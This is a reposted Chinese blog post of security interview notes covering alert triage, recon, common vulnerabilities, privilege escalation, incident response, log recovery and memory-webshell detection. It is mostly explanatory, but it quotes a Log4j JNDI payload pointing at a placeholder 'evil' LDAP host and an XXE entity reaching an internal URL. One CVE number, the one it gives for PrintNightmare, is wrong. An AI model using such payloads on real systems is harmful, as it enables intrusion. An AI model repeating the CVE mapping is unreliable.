文章总结: 本文总结了网络安全面试中常见的问题,包括态势感知设备告警处理、渗透测试步骤、资产打点方法、常见漏洞原理、SSRF和CSRF的区别、XXE利用、内网提权方法、冰蝎流量特征、应急响应步骤、Linux常用命令、删除日志处理、内存马查杀、挖矿木马和勒索病毒事件汇报等。 综合评分: 85 文章分类: 渗透测试,代码审计,应急响应,漏洞分析,威胁情报
面试的一些心得
原创
Domren Domren
网安智界
2026年10月1日 19:17 浙江
在小说阅读器读本章
去阅读
在公众号小说中沉浸阅读
最近失业了,所以一直在投简历、面试的过程中循环,有很多面试官高频提到的问题,所以整理一下,放出来供大家参考。
1、态势感知设备遇到大量告警,你要怎么处理?
思路:告警闭环运营思路:先聚合过滤,重点做误报治理,再分级处置,最后闭环优化。误报要处理,但不能一刀切。
当态势感知产生大量告警时,遵循告警闭环运营思路处理:首先检查态势感知平台和日志采集链路,排除采集异常引发的虚假告警风暴;再基于五元组(源IP地址、源端口、目的IP地址、目的端口、传输层协议)、时间窗口、告警规则聚合告警,将海量告警合并为安全事件;然后开展误报治理,误报不能一刀切删除,结合原始日志、业务资产上下文核验,通过调规则、加白名单等方式抑制,所有变更审批留痕并定期复审;接着依据资产价值、置信度、攻击阶段分级研判,优先处置核心资产高危事件,联动安全设备处置并留存证据;最后复盘优化规则与自动化剧本,持续平衡误报和漏报,形成运营闭环。
2、渗透测试的步骤
授权→信息收集→攻击面分析→漏洞验证→渗透利用→后渗透→清理→报告→复测
3、资产打点的方法
1.被动收集,先不碰目标
通过Whois、ICP备案、DNS记录、证书透明日志、搜索引擎、空间测绘引擎、GitHub、网盘、招聘信息、公众号、小程序、APP、供应链、邮箱和泄露数据等,收集域名、IP、子域名、人员、技术栈和关联资产。特点是隐蔽、不易被发现。
2.主动探测,确认存活和暴露面
在授权和限速前提下,做子域名枚举、C段/旁站探测、端口扫描、服务识别、Web爬虫、目录扫描、JS分析提取接口、API文档发现、参数发现、登录入口、后台、VPN、OA、测试环境等。重点不是“扫得多”,而是“扫得准”。
3.指纹识别和关联拓线
识别操作系统、中间件、框架、CMS、语言、版本、WAF、CDN等。再通过同一证书、同一IP、同一C段、同一favicon、同一统计代码、同一邮箱、同一备案主体等,把关联资产拓出来。
4.打点标记,形成资产台账
对每个资产记录:域名/IP、端口、服务、指纹、归属、重要性、是否外网、认证方式、风险线索。然后按核心资产、外网暴露、高危服务、弱口令入口、已知漏洞线索排优先级。
一句话:被动收集→主动探测→指纹识别→关联拓线→台账标记→风险排序。
4、一些常规漏洞的原理
1.SQL原理:网站未对用户输入做过滤、转义,直接将可控用户输入拼接进SQL语句执行,攻击者可闭合原有SQL逻辑,篡改查询语句,实现脱库、查数据、读写文件、提权等操作。
修复:1.优先使用预编译语句、参数化查询,把用户输入当做参数值,不再参与SQL语法解析,从根源防止注入;2.数据库账号最小权限原则,web连接数据库账号不要授予file、super等高权限;3.关闭Web应用数据库错误详情回显,防止攻击者通过报错获取表结构信息;4.输入校验:对业务参数做白名单校验(数字、固定字符串),不要只依赖黑名单过滤;5.部署WAF作为辅助防护,拦截注入特征流量。
2.XSS原理:前端未对用户输入的恶意JS代码做过滤、转义,导致恶意代码被浏览器解析执行,实现窃取Cookie、劫持会话、钓鱼、挂马等攻击。
修复:输入输出转义、CSP策略、CookieHttpOnly、过滤特殊字符。
3.反序列化(fastjson、shiro、log4j2、WebLogic)
通用反序列化漏洞底层原理:程序把序列化后的字节/字符串数据还原成对象。攻击者可控反序列化数据,在对象重建过程中自动调用readObject()等方法,通过构造恶意调用链(Gadget),执行任意代码、命令执行。
Fastjson反序列化
原理:Fastjson解析JSON时,支持通过@type指定要实例化的Java类。未开启安全限制时,攻击者传入带@type的恶意JSON,自动实例化危险类,触发Gadget实现远程代码执行。
关键点:@type是核心;autoType关闭可防护,低版本默认开启。
修复:升级版本;开启autoType黑名单;禁止反序列化不可信输入。
Shiro反序列化(ApacheShiro)
原理:Shiro的RememberMe功能,用户登录后的身份信息会序列化并加密存在Cookie。如果服务器密钥(shiro.cookie.cipherKey)泄露,攻击者可以自行构造恶意序列化对象,加密后放入RememberMeCookie;服务端解密并反序列化,触发Gadget执行命令。
关键点:密钥泄露,不需要登录账号;Cookie字段rememberMe。
修复:升级Shiro;使用强随机密钥;关闭RememberMe(不需要时)。
Log4j2(CVE-2021-44228,Log4j远程代码执行)
原理:Log4j2在记录日志时,会解析${}表达式。攻击者输入${jndi:ldap://xxx/evil},日志框架会去访问外部LDAP服务器,加载远程恶意Java类,执行任意代码。
关键点:JNDI查找,不是传统Java反序列化,但面试经常放在同一组漏洞。
修复:升级Log4j2;设置log4j2.formatMsgNoLookups=true关闭JNDI表达式解析。
WebLogic反序列化(T3协议)
原理:WebLogic开放T3协议端口(默认7001),T3协议传输Java序列化对象。攻击者发送恶意序列化数据到T3端口,WebLogic接收后直接反序列化,触发Gadget实现RCE。经典CVE:CVE-2018-2628、CVE-2019-2725。
关键点:T3协议,7001端口;不需要账号,只要能访问T3端口。
修复:升级WebLogic;限制T3端口访问IP白名单;禁用不必要的T3协议。
区分
1.Fastjson:JSON解析+@type,Java序列化Gadget
2.Shiro:RememberMeCookie加密序列化,密钥泄露是前提
3.Log4j2:JNDI表达式注入
4.WebLogic:T3协议传输序列化对象,端口7001
4.SSRF和CSRF的区别
SSRF服务端请求伪造
原理:服务器主动发起请求的接口,未校验请求目标地址,攻击者可控参数让服务器向内网、本地、外网发起请求。
危害:扫描内网端口、探测内网资产、读取本地文件、攻击内网服务、反弹内网机器。
CSRF跨站请求伪造
原理:利用用户已登录的浏览器会话Cookie,诱导用户访问恶意页面,冒用用户身份发起非法请求(改密、转账、改配置)。
核心区别:1、发起主体不同:SSRF是服务器发请求;CSRF是用户浏览器发请求。2、攻击目标不同:SSRF打内网/本地服务;CSRF打用户当前登录的网站。3、依赖条件不同:SSRF无需用户登录;CSRF必须依赖用户登录会话。4、防护不同:SSRF校验白名单域名/拦截内网IP;CSRF用Token、Referer校验、SameSiteCookie。
5.XXE
原理:XML 文档可以定义 DTD(文档类型定义),DTD 中可声明实体。外部实体通过 SYSTEM 或 PUBLIC 关键字引用外部资源。如果解析器未禁用外部实体,攻击者就能控制实体内容,让服务器去读取文件或访问内网。
利用方式
直接实体:,在 XML 中引用 &xxe;。
参数实体:用于盲 XXE,通过外部 DTD 外带数据。
盲XXE:服务器不回显,但可通过外部 DTD 将数据发送到攻击者服务器。
XXEto SSRF:<!ENTITY xxe SYSTEM “http://internal/”),让服务器访问内网。
报错型XXE:利用错误信息回显文件内容。
修复:禁用外部实体;使用安全的XML 解析库和配置;过滤用户输入的 <!DOCTYPE、<!ENTITY 等关键字;不解析不可信 XML,尽量用 JSON 替代;部署 WAF 拦截 XXE 特征;最小权限运行服务,限制文件读取和内网访问。
5、内网提权的一些方法
Windows提权
1.系统内核漏洞提权:利用操作系统未打补丁漏洞,如MS17-010永恒之蓝、PrintNightmare打印机漏洞CVE-2021-38647,溢出获取系统权限。
2.服务配置不当提权:服务可执行文件权限过大(普通用户可修改exe)、服务路径带空格无引号,普通用户替换程序,服务重启时以system权限执行。
3.计划任务提权:定时任务调用的脚本/文件普通用户可写,写入恶意代码,等待任务执行拿到高权限。
4.注册表权限不当提权:某些服务注册表项普通用户可修改,替换执行路径。
5.令牌窃取提权:窃取高权限进程令牌(如winlogon),直接复用System权限。
6.数据库/应用账号提权:Mysql、mssqlsa账号权限过高,执行xp_cmdshell等存储过程拿系统权限。
7.敏感信息泄露:读取配置文件、注册表保存的明文密码,远程登录管理员账号。
Linux提权
1.内核漏洞提权:操作系统内核未更新,利用内核漏洞(如DirtyCOW脏牛)直接提权root。
2.SUID/SGID程序提权:程序设置SUID权限,运行时属主权限。找到可执行SUID程序,利用其特性读取文件、执行命令。
3.Sudo权限不当提权:当前用户sudo配置允许执行部分危险命令(vim、find、tar等),可逃逸拿到rootshell。
4.计划任务(Crontab)提权:root定时任务调用的脚本普通用户可写,写入恶意代码,等待定时执行获取root。
5.敏感文件泄露:读取/etc/passwd、shadow、各类应用配置文件中的数据库/ssh明文密码。
6.环境变量提权:PATH环境变量可控,劫持程序调用的自定义命令。
7.容器逃逸提权:docker/k8s配置不当,从容器逃逸获取宿主机权限。
6、冰蝎的流量特征
冰蝎区别于菜刀,菜刀是 base64 明文编码,冰蝎是 AES 二进制动态加密,抗静态特征检测。
7、应急响应的步骤
Win、Linux
确认失陷:根据告警、EDR、日志、异常进程等判断是否真实失陷,确认影响范围。
立即网络隔离:拔网线、禁用网卡、EDR 网络隔离、防火墙阻断。
不要直接关机或重启,保持主机运行,便于取证。
保存易失证据:保存内存、进程、网络连接、登录会话、计划任务、服务、启动项、日志。
排查重点
账号:看新增、隐藏、异常管理员。
进程服务:异常路径、无签名、可疑父进程。
网络:异常外连、监听端口,关联PID。
启动项和计划任务:注册表Run、计划任务、服务。
日志:安全日志4624/4625/4720/4672,PowerShell 日志。
文件:临时目录、下载目录、Web 目录、最近修改文件。
清除恢复:杀进程、删文件、禁用账号、删计划任务、清启动项、改密、打补丁。确认干净后恢复网络,持续监控。
复盘整改:查根因、影响范围、入口,补漏洞,优化规则和流程。
8、linux的一些常用命令
计划任务、进程、网络连接、用户
cat /etc/passwd 用户列表
ps -ef 查看全量进程
kill -9 PID 强制杀死进程
lsof -p PID 查看进程打开的文件
netstat -antlp 查看TCP/UDP连接,监听端口,对应进程
crontab -l 查看当前用户计划任务
history 查看执行命令历史
9、liunux中的本地命令记录和日志被删除了怎么办
做内存和磁盘镜像。然后转向远程日志、SIEM、堡垒机、网络设备、应用日志和 auditd、wtmp 等系统痕迹。再从内存和磁盘镜像恢复被删文件,结合文件时间线和网络流量重建攻击链。
进程句柄恢复:如果日志文件被删但进程还在写,lsof | grep deleted 找到 PID 和 FD,然后 cp /proc//fd/ /recovered.log。
journald:journalctl 查看,检查 /var/log/journal、/run/log/journal,二进制日志可能还在。
远程日志:查 rsyslog/syslog-ng 是否转发到远程日志服务器、SIEM、态势感知、EDR、HIDS。
备份和快照:从备份、虚拟机快照、存储快照恢复。
文件系统恢复:在磁盘镜像上用 extundelete、ext4magic、debugfs、testdisk、photorec 尝试恢复,但不要在原盘直接操作。
其他日志源:auditd、wtmp、btmp、lastlog、bash_history、Web/应用/数据库日志、dmesg,这些可能没被删。
10、内存马的查杀
原理:攻击者利用漏洞执行代码后,动态创建一个恶意Filter 或 Servlet,并把它注册到容器的请求处理链中。之后所有符合条件的请求都会先经过这个恶意组件,攻击者就能通过特定参数执行命令、上传文件、连接 C2。因为组件在内存中,不写文件,所以叫“内存马”。
常见类型
Java内存马:Filter型、Servlet型、Listener型、Interceptor型(Spring)、Agent型(基于Instrumentation动态修改字节码)。
PHP内存马:通常利用php://input、auto_prepend_file、.user.ini或扩展机制,但很多仍需文件配合,纯内存较少。
.NET内存马:通过动态注册HttpModule、HttpHandler实现。
冰蝎/哥斯拉内存马:冰蝎、哥斯拉等工具支持注入内存马,流量加密,隐蔽性强。
检测方法
内存取证:使用工具检查动态注册的Filter、Servlet、Listener。
对比基线:对比正常服务的组件列表,发现多出的Filter/Servlet。
1.检查是否存在对应的Class文件(最关键的一步)
内存马通常不会在磁盘上留下对应的class文件
2.检查类加载器(ClassLoader)
重点关注那些由自定义ClassLoader加载,或来源不明的类。可以对比同一应用中其他正常类的ClassLoader来发现异常。
3.检查配置注册信息
在内存中枚举到的所有组件列表,与web.xml、框架配置文件中的注册项进行比对。内存中有、配置中没有的组件是高度可疑的。
4.检查类名与映射路径
Filter型内存马常将拦截路径设置为/*,以拦截所有流量;Servlet型内存马可能映射到一个随机或可疑的路径(如/shell、/cmd)。
5.反编译并审计代码逻辑
当上述方法指向可疑时,必须通过反编译字节码来最终确认。
6.行为监控
行为监控:监控JVM是否频繁执行命令或出现异常外连。
11、当发生了一次挖矿木马事件或者勒索病毒事件,你要怎么跟领导汇报
领导,汇报本次挖矿木马事件:X时发现服务器CPU异常、外联矿池,确认感染挖矿木马,影响X台服务器,均为非核心业务,业务轻微卡顿,暂未发现数据泄露。我们已隔离主机、封禁矿池IP和域名、清除恶意进程及持久化项,攻击已阻断,事件扩散受控,已保留日志和样本,根因仍在排查确认。后续一周内修复入侵入口、排查同类资产,增加相关拦截与告警,处置完毕提交复盘报告。建议观察24小时无异常后恢复主机,需您确认恢复窗口及合规上报事宜,有进展我及时向您同步。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:网安智界 Domren Domren《面试的一些心得》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论